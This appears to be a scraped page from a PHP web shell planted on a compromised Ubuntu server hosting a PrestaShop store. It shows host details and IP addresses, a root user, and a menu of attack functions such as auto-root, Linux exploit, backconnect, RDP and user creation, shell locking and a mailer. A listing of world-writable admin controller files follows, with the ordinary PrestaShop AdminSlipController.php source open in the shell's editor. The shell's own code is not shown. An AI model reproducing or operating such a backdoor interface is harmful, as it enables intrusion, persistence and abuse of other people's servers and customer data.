Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
AdminAccessController.php
7.78
KB
-rwxrwxrwx
AdminAddressesController.php
23.22
KB
-rwxrwxrwx
AdminAttachmentsController.php
10.82
KB
-rwxrwxrwx
AdminAttributeGeneratorControl...
11.64
KB
-rwxrwxrwx
AdminAttributesGroupsControlle...
39.86
KB
-rwxrwxrwx
AdminCarrierWizardController.p...
41.3
KB
-rwxrwxrwx
AdminCarriersController.php
32.71
KB
-rwxrwxrwx
AdminCartRulesController.php
36.98
KB
-rwxrwxrwx
AdminCartsController.php
43.43
KB
-rwxrwxrwx
AdminCmsCategoriesController.p...
15.95
KB
-rwxrwxrwx
AdminCmsContentController.php
12.28
KB
-rwxrwxrwx
AdminCmsController.php
21.71
KB
-rwxrwxrwx
AdminCountriesController.php
22.32
KB
-rwxrwxrwx
AdminCustomerThreadsController...
55.03
KB
-rwxrwxrwx
AdminDashboardController.php
27.3
KB
-rwxrwxrwx
AdminFeaturesController.php
24.43
KB
-rwxrwxrwx
AdminGendersController.php
8.68
KB
-rwxrwxrwx
AdminGroupsController.php
26.44
KB
-rwxrwxrwx
AdminImagesController.php
38.1
KB
-rwxrwxrwx
AdminImportController.php
243.47
KB
-rwxrwxrwx
AdminLegacyLayoutController.ph...
5.3
KB
-rwxrwxrwx
AdminLoginController.php
18.83
KB
-rwxrwxrwx
AdminManufacturersController.p...
33.08
KB
-rwxrwxrwx
AdminModulesController.php
76.11
KB
-rwxrwxrwx
AdminModulesPositionsControlle...
29.95
KB
-rwxrwxrwx
AdminNotFoundController.php
1.63
KB
-rwxrwxrwx
AdminOrderMessageController.ph...
3.75
KB
-rwxrwxrwx
AdminOrdersController.php
163.18
KB
-rwxrwxrwx
AdminOutstandingController.php
6.35
KB
-rwxrwxrwx
AdminPatternsController.php
25.68
KB
-rwxrwxrwx
AdminPdfController.php
8.29
KB
-rwxrwxrwx
AdminPreferencesController.php
13.12
KB
-rwxrwxrwx
AdminProductsController.php
160.91
KB
-rwxrwxrwx
AdminQuickAccessesController.p...
9.71
KB
-rwxrwxrwx
AdminReferrersController.php
22.15
KB
-rwxrwxrwx
AdminRequestSqlController.php
21.3
KB
-rwxrwxrwx
AdminReturnController.php
14.81
KB
-rwxrwxrwx
AdminSearchConfController.php
20
KB
-rwxrwxrwx
AdminSearchController.php
23.76
KB
-rwxrwxrwx
AdminSearchEnginesController.p...
3.63
KB
-rwxrwxrwx
AdminShopController.php
37
KB
-rwxrwxrwx
AdminShopGroupController.php
14.86
KB
-rwxrwxrwx
AdminShopUrlController.php
24.39
KB
-rwxrwxrwx
AdminSlipController.php
7.49
KB
-rwxrwxrwx
AdminSpecificPriceRuleControll...
16.15
KB
-rwxrwxrwx
AdminStatesController.php
12.87
KB
-rwxrwxrwx
AdminStatsController.php
45.06
KB
-rwxrwxrwx
AdminStatsTabController.php
11.74
KB
-rwxrwxrwx
AdminStatusesController.php
28.42
KB
-rwxrwxrwx
AdminStoresController.php
25.29
KB
-rwxrwxrwx
AdminSuppliersController.php
24.36
KB
-rwxrwxrwx
AdminTabsController.php
14.39
KB
-rwxrwxrwx
AdminTagsController.php
5.61
KB
-rwxrwxrwx
AdminTaxRulesGroupController.p...
22.51
KB
-rwxrwxrwx
AdminTrackingController.php
19.57
KB
-rwxrwxrwx
AdminTranslationsController.ph...
149.28
KB
-rwxrwxrwx
AdminZonesController.php
5.38
KB
-rwxrwxrwx
BoOrder.php
1.25
KB
-rwxrwxrwx
index.php
1.29
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminSlipController.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ /** * @property OrderSlip $object */ class AdminSlipControllerCore extends AdminController { public function __construct() { $this->bootstrap = true; $this->table = 'order_slip'; $this->className = 'OrderSlip'; $this->_select = ' o.`id_shop`'; $this->_join .= ' LEFT JOIN ' . _DB_PREFIX_ . 'orders o ON (o.`id_order` = a.`id_order`)'; $this->_group = ' GROUP BY a.`id_order_slip`'; parent::__construct(); $this->fields_list = array( 'id_order_slip' => array( 'title' => $this->trans('ID', array(), 'Admin.Global'), 'align' => 'center', 'class' => 'fixed-width-xs', ), 'id_order' => array( 'title' => $this->trans('Order ID', array(), 'Admin.Orderscustomers.Feature'), 'align' => 'left', 'class' => 'fixed-width-md', 'filter_key' => 'a!id_order', ), 'date_add' => array( 'title' => $this->trans('Date issued', array(), 'Admin.Orderscustomers.Feature'), 'type' => 'date', 'align' => 'right', 'filter_key' => 'a!date_add', 'havingFilter' => true, ), 'id_pdf' => array( 'title' => $this->trans('PDF', array(), 'Admin.Global'), 'align' => 'center', 'callback' => 'printPDFIcons', 'orderby' => false, 'search' => false, 'remove_onclick' => true, ), ); $this->_select = 'a.id_order_slip AS id_pdf'; $this->optionTitle = $this->trans('Slip', array(), 'Admin.Orderscustomers.Feature'); $this->fields_options = array( 'general' => array( 'title' => $this->trans('Credit slip options', array(), 'Admin.Orderscustomers.Feature'), 'fields' => array( 'PS_CREDIT_SLIP_PREFIX' => array( 'title' => $this->trans('Credit slip prefix', array(), 'Admin.Orderscustomers.Feature'), 'desc' => $this->trans('Prefix used for credit slips.', array(), 'Admin.Orderscustomers.Help'), 'size' => 6, 'type' => 'textLang', ), ), 'submit' => array('title' => $this->trans('Save', array(), 'Admin.Actions')), ), ); $this->_where = Shop::addSqlRestriction(false, 'o'); } public function initPageHeaderToolbar() { $this->page_header_toolbar_btn['generate_pdf'] = array( 'href' => self::$currentIndex . '&token=' . $this->token, 'desc' => $this->trans('Generate PDF', array(), 'Admin.Orderscustomers.Feature'), 'icon' => 'process-icon-save-date', ); parent::initPageHeaderToolbar(); } public function renderForm() { $this->fields_form = array( 'legend' => array( 'title' => $this->trans('Print a PDF', array(), 'Admin.Orderscustomers.Feature'), 'icon' => 'icon-print', ), 'input' => array( array( 'type' => 'date', 'label' => $this->trans('From', array(), 'Admin.Global'), 'name' => 'date_from', 'maxlength' => 10, 'required' => true, 'hint' => $this->trans('Format: 2011-12-31 (inclusive).', array(), 'Admin.Orderscustomers.Help'), ), array( 'type' => 'date', 'label' => $this->trans('To', array(), 'Admin.Global'), 'name' => 'date_to', 'maxlength' => 10, 'required' => true, 'hint' => $this->trans('Format: 2012-12-31 (inclusive).', array(), 'Admin.Orderscustomers.Help'), ), ), 'submit' => array( 'title' => $this->trans('Generate PDF', array(), 'Admin.Orderscustomers.Feature'), 'id' => 'submitPrint', 'icon' => 'process-icon-download-alt', ), ); $this->fields_value = array( 'date_from' => date('Y-m-d'), 'date_to' => date('Y-m-d'), ); $this->show_toolbar = false; return parent::renderForm(); } public function postProcess() { if (Tools::getValue('submitAddorder_slip')) { if (!Validate::isDate(Tools::getValue('date_from'))) { $this->errors[] = $this->trans('Invalid "From" date', array(), 'Admin.Orderscustomers.Notification'); } if (!Validate::isDate(Tools::getValue('date_to'))) { $this->errors[] = $this->trans('Invalid "To" date', array(), 'Admin.Orderscustomers.Notification'); } if (!count($this->errors)) { $order_slips = OrderSlip::getSlipsIdByDate(Tools::getValue('date_from'), Tools::getValue('date_to')); if (count($order_slips)) { Tools::redirectAdmin($this->context->link->getAdminLink('AdminPdf') . '&submitAction=generateOrderSlipsPDF&date_from=' . urlencode(Tools::getValue('date_from')) . '&date_to=' . urlencode(Tools::getValue('date_to'))); } $this->errors[] = $this->trans('No order slips were found for this period.', array(), 'Admin.Orderscustomers.Notification'); } } else { return parent::postProcess(); } } public function initContent() { $this->content .= $this->renderList(); $this->content .= $this->renderForm(); $this->content .= $this->renderOptions(); $this->context->smarty->assign(array( 'content' => $this->content, )); } public function initToolbar() { parent::initToolbar(); $this->toolbar_btn['save-date'] = array( 'href' => '#', 'desc' => $this->trans('Generate PDF', array(), 'Admin.Orderscustomers.Feature'), ); } public function printPDFIcons($id_order_slip, $tr) { $order_slip = new OrderSlip((int) $id_order_slip); if (!Validate::isLoadedObject($order_slip)) { return ''; } $this->context->smarty->assign(array( 'order_slip' => $order_slip, 'tr' => $tr, )); return $this->createTemplate('_print_pdf_icon.tpl')->fetch(); } }
Close